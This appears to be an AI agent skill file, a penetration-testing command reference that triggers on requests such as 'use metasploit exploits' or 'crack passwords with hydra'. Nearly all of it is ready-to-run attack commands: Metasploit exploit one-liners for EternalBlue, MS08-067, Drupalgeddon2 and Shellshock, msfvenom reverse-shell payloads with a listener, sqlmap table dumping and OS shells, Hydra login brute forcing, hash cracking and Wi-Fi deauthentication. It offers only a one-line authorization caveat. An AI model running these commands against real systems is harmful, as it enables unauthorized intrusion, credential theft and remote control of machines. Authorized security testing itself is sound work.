| name | Pentest Commands |
| description | This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references. |
| metadata | {"author":"zebbern","version":"1.1"} |
Pentest Commands
Purpose
Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.
Inputs/Prerequisites
- Kali Linux or penetration testing distribution
- Target IP addresses with authorization
- Wordlists for brute forcing
- Network access to target systems
- Basic understanding of tool syntax
Outputs/Deliverables
- Network enumeration results
- Identified vulnerabilities
- Exploitation payloads
- Cracked credentials
- Web vulnerability findings
Core Workflow
1. Nmap Commands
Host Discovery:
nmap -sP 192.168.1.0/24
nmap -sL 192.168.1.0/24
nmap -sn 192.168.1.0/24
Port Scanning:
nmap -sS 192.168.1.1
nmap -sT 192.168.1.1
nmap -sU 192.168.1.1
nmap -p- 192.168.1.1
nmap -p 22,80,443 192.168.1.1
Service Detection:
nmap -sV 192.168.1.1
nmap -O 192.168.1.1
nmap -A 192.168.1.1
nmap -Pn 192.168.1.1
NSE Scripts:
nmap --script vuln 192.168.1.1
nmap --script smb-enum-shares -p 445 192.168.1.1
nmap --script http-enum -p 80 192.168.1.1
nmap --script smb-vuln-ms17-010 192.168.1.1
nmap --script smb-vuln-ms08-067 192.168.1.1
nmap --script ssh-brute -p 22 192.168.1.1
nmap --script ftp-anon 192.168.1.1
nmap --script dns-brute 192.168.1.1
nmap -p80 --script http-methods 192.168.1.1
nmap -p80 --script http-headers 192.168.1.1
nmap --script http-sql-injection -p 80 192.168.1.1
Advanced Scans:
nmap -sX 192.168.1.1
nmap -sA 192.168.1.1
nmap -sW 192.168.1.1
nmap --traceroute 192.168.1.1
2. Metasploit Commands
Basic Usage:
msfconsole
search type:exploit name:smb
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOST 192.168.1.1
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
Common Exploits:
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"
msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"
msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"
msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"
Scanners:
msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"
msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"
msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"
msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"
Handler Setup:
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"
Payload Generation (msfvenom):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf
msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py
3. Nikto Commands
nikto -h http://192.168.1.1
nikto -h http://192.168.1.1 -C all
nikto -h http://192.168.1.1 -output report.html
nikto -h http://192.168.1.1 -Plugins robots
nikto -h http://192.168.1.1 -Plugins shellshock
nikto -h http://192.168.1.1 -Plugins heartbleed
nikto -h http://192.168.1.1 -Plugins ssl
nikto -h http://192.168.1.1 -Format msf+
nikto -h http://192.168.1.1 -Tuning 1
4. SQLMap Commands
sqlmap -u "http://192.168.1.1/page?id=1"
sqlmap -u "http://192.168.1.1/page?id=1" --dbs
sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
5. Hydra Commands
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1
hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/
hydra -l admin -P passwords.txt smb://192.168.1.1
hydra -l admin -P passwords.txt rdp://192.168.1.1
hydra -l root -P passwords.txt mysql://192.168.1.1
hydra -L users.txt -P passwords.txt ssh://192.168.1.1
6. John the Ripper Commands
john hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john hash.txt --show
john hash.txt --format=raw-md5
john hash.txt --format=nt
john hash.txt --format=sha512crypt
ssh2john id_rsa > ssh_hash.txt
john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
zip2john file.zip > zip_hash.txt
john zip_hash.txt
7. Aircrack-ng Commands
airmon-ng start wlan0
airodump-ng wlan0mon
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
8. Wireshark/Tshark Commands
tshark -i eth0 -w capture.pcap
tshark -r capture.pcap
tshark -r capture.pcap -Y "http"
tshark -r capture.pcap -Y "ip.addr == 192.168.1.1"
tshark -r capture.pcap -Y "http" -T fields -e http.request.uri
Quick Reference
Common Port Scans
nmap -F 192.168.1.1
nmap -sV -sC -A -p- 192.168.1.1
nmap -sV -T4 192.168.1.1
Password Hash Types
| Mode | Type |
|---|
| 0 | MD5 |
| 100 | SHA1 |
| 1000 | NTLM |
| 1800 | sha512crypt |
| 3200 | bcrypt |
| 13100 | Kerberoast |
Constraints
- Always have written authorization
- Some scans are noisy and detectable
- Brute forcing may lock accounts
- Rate limiting affects tools
Examples
Example 1: Quick Vulnerability Scan
nmap -sV --script vuln 192.168.1.1
Example 2: Web App Test
nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs
Troubleshooting
| Issue | Solution |
|---|
| Scan too slow | Increase timing (-T4, -T5) |
| Ports filtered | Try different scan types |
| Exploit fails | Check target version compatibility |
| Passwords not cracking | Try larger wordlists, rules |